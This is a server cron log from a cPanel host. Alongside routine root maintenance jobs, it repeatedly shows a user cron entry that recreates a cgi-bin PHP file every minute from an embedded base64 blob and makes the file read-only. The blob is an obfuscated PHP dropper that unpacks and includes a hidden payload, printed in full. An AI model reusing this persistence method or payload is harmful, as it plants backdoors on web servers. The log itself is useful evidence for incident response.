Nov 14 14:20:01 server CROND[28358]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:20:01 server CROND[28359]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 14:20:01 server CROND[28360]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 14:20:01 server CROND[28361]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 14:21:01 server CROND[29373]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:22:01 server CROND[30271]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:23:01 server CROND[31088]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:24:01 server CROND[32109]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:25:01 server CROND[540]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 14:25:01 server CROND[541]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 14 14:25:01 server CROND[544]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:25:01 server CROND[542]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 14:26:01 server CROND[1578]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:27:01 server CROND[2460]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:27:01 server CROND[2461]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 14:28:01 server CROND[3339]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:29:01 server CROND[4205]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:30:01 server CROND[5081]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 14:30:01 server CROND[5083]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 14:30:01 server CROND[5092]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:30:01 server CROND[5089]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 14:31:01 server CROND[6019]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:32:01 server CROND[6992]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
